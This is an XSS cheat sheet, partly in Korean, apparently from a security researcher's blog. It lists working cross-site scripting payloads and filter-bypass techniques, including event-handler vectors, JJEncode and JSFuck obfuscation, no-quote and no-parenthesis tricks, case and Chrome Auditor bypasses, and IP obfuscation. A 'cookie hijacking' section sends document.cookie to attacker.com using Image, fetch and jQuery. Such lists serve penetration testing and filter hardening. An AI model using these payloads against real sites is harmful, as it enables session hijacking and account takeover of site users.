XSS CheatSheet

   

본 문서는 지속적으로 업데이트됩니다.

Basic

1
2
3
4
5
6
7
8
9
<img src onerror=alert(1)>
<svg onload=alert(1)>
<input autofocus onfocus=alert(1)>
<a href="javas[TAB]cript:alert(1)">link</a>
<script>alert(1)</script>
<script src="http://rwx.kr/alert.js"></script>
<iframe src="javascript:alert(1)"></iframe>
<object data="http://rwx.kr/alert.html"></object>
<form onsubmit=alert(1)><button type=submit></button></form>

Advanced

1
2
3
4
5
<img/src/onerror=alert`1`>
<input type=image src onerror=alert(1)>
<input/autofocus/onfocus=&#97&#108&#101&#114&#116&#40&#49&#41>
<a href="javascr&Tab;ipt:alert`1`">
<a href="javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76'">link</a>

Uncommon Tags

1
2
3
4
5
6
7
8
9
10
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<meter onmouseover=alert(1)></meter>
<frameset><frame src="javascript:alert(1)"></frameset>
<video src onloadstart=alert(1)>
<iframe onload=alert(1)>
<body onpageshow=alert(1)>

// hidden input : only on Firefox (when pressed Alt+Shift+X)
<input type="hidden" accesskey="X" onclick="alert(1)">

Sandbox XSS

1
2
3
<iframe srcdoc="<script>alert(1)</script>"></iframe>
<iframe src="data:text/html,<iframe
src=JavaScript:alert(1)>"></iframe>

Delimiters

1
2
3
4
5
6
7
%2f : <svg/onload=alert(1)>
%09 : <svg onload=alert(1)>
%0a : <svg
onload=alert(1)>
%0c : <svg onload=alert(1)>
%0d : <svg
onload=alert(1)>

Obfuscation

1
2
3
4
5
// JJEncode (http://utf-8.jp/public/jjencode.html)
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();

// Jsfuck (http://www.jsfuck.com/)
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

Operator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
"apple"(alert(1))
"apple"[alert(1)]
"apple";alert(1)
"apple"+alert(1)
"apple"-alert(1)
"apple"*alert(1)
"apple"/alert(1)
"apple"&alert(1)
"apple"^alert(1)
"apple"%alert(1)

// in 연산자 ("은 사용가능하지만 연산자,개행문자 등은 불가능할 경우)
"apple"[alert(1)]in"mango"
"apple"(alert(1))in"mango"

Unicode / UTF-8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// ASCII from Unicode
< : %EF%BC%9C
> : %EF%BC%9E
" : %CA%BA
' : %CA%B9

// ASCII from UTF-8
< : %C0%BC / %E0%80%BC / %F0%80%80%BC
> : %C0%BE / %E0%80%BE / %F0%80%80%BE
' : %C0%A7 / %E0%80%A7 / %F0%80%80%A7
" : %C0%A2 / %E0%80%A2 / %F0%80%80%A2
" : %CA%BA
' : %CA%B9

// Unicode line separator (working on js)
\u2028 : %E2%80%A8
\u2029 : %E2%80%A9

No Quote

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// String.fromCharCode
eval(String.fromCharCode(97,108,101,114,116,40,49,41))
// without ,
eval(String.fromCharCode(97)+String.fromCharCode(108)+String.fromCharCode(101)+String.fromCharCode(114)+String.fromCharCode(116)+String.fromCharCode(40)+String.fromCharCode(49)+String.fromCharCode(41))

// shorten with parseInt("alert",30) == 8680439
eval(8680439..toString(30)+String.fromCharCode(40,49,41))
// without +
eval(8680439..toString(30).concat(String.fromCharCode(40,49,41)))
// without ,
eval(8680439..toString(30).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41)))

// Unicode Encoding
\u0061\u006C\u0065\u0072\u0074(1)

// RegExp Object
alert(/1/)
alert(/1/.source)
eval(atob(/YWxlcnQoMSk=/.source))

// Attribute Referencing
<img src=//rwx.kr%0aalert(1)// onerror=eval(decodeURI(src))>
<img src=x:alert(1); onerror=eval(src)>
<img src=http://rwx.kr onerror=eval(alt) alt=alert(1)>
<img src alt=YWxlcnQoMSk= onerror=eval(atob(alt))>

// find
[1].find(alert)

No Parentheses

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// constructor 이용
Set.constructor`alert(1)```
// hex 인코딩
Set.constructor`alert\x281\x29```
// backslash
Set.constructor`alert\`1\````
// SetTimeout
setTimeout`alert\u00281\u0029`
// SetInterval
setInterval`alert\u00281\u0029`
// Function
new Function`alert(1)`
Function`alert(1)```
Function`alert\x281\x29```
Function`alert\`1\````
// DOM Object (top, self, window, parent, frame, globalThis)
top[`alert`]``
window[`alert`]``
top['\141\154\145\162\164']``
window['\x61\x6c\x65\x72\x74']``

No Quote and Parentheses

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// Error Handler
window.onerror=alert,throw 1
// Attribute on HTML Tag with Entity
<svg onload=&#97&#108&#101&#114&#116&#40&#49&#41>
<iframe onload=&#97&#108&#101&#114&#116&#40&#49&#41>
// append body
_=document.head.outerHTML[0]+document.head.outerHTML[5]+URL
document.body.innerHTML=_[0]+/iframe onload=alert/.source+_[14]+1+_[15]+_[1]
// Symbol.hasInstance
_=URL+0
/alert/.source+_[12]+1+_[13]instanceof{[Symbol.hasInstance]:eval}
// no curly bracket
_=URL+0
Array.prototype[Symbol.hasInstance]=eval,/alert/.source+_[12]+1+_[13]instanceof[]
// no slash
_=URL+!0+!1,Array.prototype[Symbol.hasInstance]=eval,_[19]+_[38]+_[40]+_[33]+_[4]+_[12]+1+_[13]instanceof[]
// Symbol.toPrimitive
Event.prototype[Symbol.toPrimitive]=x=>1,window.onload=alert
// location.search (page.php?0:alert(1)//&...)
Event.prototype[Symbol.toPrimitive]=x=>/javascript:0/.source+location.search,onload=open
// eval with jQuery
Event.prototype[Symbol.toPrimitive]=x=>/alert/.source+[CSS+0][0][12]+1+[CSS+0][0][13],window.onload=$.globalEval
// function to String
location=/javascript:alert/.source+[CSS+0][0][12]+1+[CSS+0][0][13]
// location.search (page.php?0:alert(1)//&...)
location=/javascript:/+0+location.search

Bypass Uppercase / Lowercase

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// CODE부분에 8진수로 인코딩
[]["\146\151\154\164\145\162"]["\143\157\156\163\164\162\165\143\164\157\162"]("CODE")()

ex) alert(1) 의 경우
[]["\146\151\154\164\145\162"]["\143\157\156\163\164\162\165\143\164\157\162"]("\141\154\145\162\164\50\61\51")()

// uppercase
CSS['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()

// javascript::toUpperCase() / php::mb_strtoupper() 등
// reference : https://blog.rubiya.kr/index.php/2018/11/29/strtoupper/
// uppercase
%c4%b1 : "ı".toUpperCase() == "I"
%c5%bf : "ſ".toUpperCase() == "S"
// lowercase
%c4%b0 : "İ".toLowerCase() == "i"
%E2%84%AA : "K".toLowerCase() == "k"

Bypass Replace

1
2
3
4
5
// unicode encoding
ale\u0072t(1)
ale\u{72}t(1)
// replace 이후에 삭제되는 문자가 있다면 활용
ale'rt(1)

Bypass Chrome Auditor

1
2
3
4
5
6
7
8
// `로 끝나는 인자의 경우
`><img src onerror=`${alert(1)}
// 연속된 2개의 파라미터
a=<script>"&b=";alert(1)</script>
a=<script>`&b=`-alert(1)</script>
a=<script>"\&b=";alert(1)</script>
// 같은 인자가 2번 표시될 때
a=`;alert(1)</script><script>`

Script in XML

1
2
3
4
<?xml version="1.0" ?>
<html xmlns="http://www.w3.org/1999/xhtml">
<script>alert(1)</script>
</html>

Whitelist Iframe

1
<iframe src="http://youtube.com/" srcdoc="&#60&#105&#109&#103&#32&#115&#114&#99&#32&#111&#110&#101&#114&#114&#111&#114&#61&#97&#108&#101&#114&#116&#40&#49&#41&#62"></iframe>

Make Redirection

1
2
3
<img src onerror=location=`//www.example.com`>
//meta tag
<meta http-equiv="refresh" content="0; url=http://example.com/">
1
2
3
4
5
6
// cookie hijacking
(new Image).src="http://attacker.com/?q=" + document.cookie;
fetch('http://attacker.com/?q=' + document.cookie)
// with jQuery
$.get('https://attacker.com/?q=' + document.cookie)
$.getScript("//attacker.com/?q="+document.cookie)

Data Wrapper

1
2
3
4
<script src="data:;base64,YWxlcnQoMSk="></script>
<iframe src="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+"></iframe>
<object data='data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+'></object>
<embed src="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+"></embed>

Variable Make DOM XSS

1
2
3
4
5
6
7
document.URL
document.referrer
location
location.href
location.search
location.hash
location.pathname

DOM Object Finding

1
2
3
4
5
6
7
8
9
10
11
function f(name) {
A = Object.getOwnPropertyNames(eval(name))
for (var i = 0; i < A.length; ++i) {
console.log('['+name+'.'+A[i]+']');
try {
eval('console.log(" "+'+name+'.'+A[i]+'+[])');
} catch (e) { }
}
}

f('window')
1
<meta http-equiv="Set-Cookie" content="nickname=<script>alert(1)</script>">

Obfuscate IP Address

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Decimal
2130706433 (127.0.0.1)
// Omission 1
127.1 (127.0.0.1)
// Omission 2
192.168.1 (192.168.0.1)
// Omission & Octal
0177.1 (127.0.0.1)
// Hexademical
0x8080808 (8.8.8.8)
// Octal & Hexademical
010.0x0000008.00000010.8 (8.8.8.8)
// Decimal & Hexademical
8.0x000000000000000080808 (8.8.8.8)

Escalate XSS

1
2
Iframe src + Open Redirect + Reflected XSS = Stored XSS
Set-Cookie + Cookie Reflecting = Reflected XSS

Bypass History

1
2
// require wrapper (https://hack.me/103185/link-shortening-website-xss.html)
<a href="javascript://example.kr/%0aalert(1)">

A Tag XSS without interaction

1
2
3
// works on chrome
<a href=# name=xss onfocus=alert(1)>
http://rwx.kr/endpoint?...#xss

document.createComment

1
2
3
input : document['createComment']('--><img src onerror=alert(1)><!--')
또는 document.createComment`--><img src onerror=alert(1)><!--`
output : <!----><img src onerror=alert(1)><!---->

php::checkdnsrr()

1
2
// Use wildcard domain
http://'onmouseover='alert(1)'.fuf.me

Loop in a line

1
0[x={toString:x=>alert(1)|x}]

Call by context

1
2
3
4
5
window.__defineGetter__("arg",x=>alert(1)|1234);
or arg = {toString:x=>alert(1)|1234}
if (arg == 1234) {
// do something
}

Whitespace on js

1
9 - 13, 32, 160, 5760, 8192 - 8202, 8232, 8233, 8239, 8287, 12288, 65279

Elements supporting named reference

1
2
3
4
// form, img, embed, frameset, iframe, object
<img name="foo" alt="str">
// window.foo, document.foo, foo
// foo.alt == "str" : true

Reference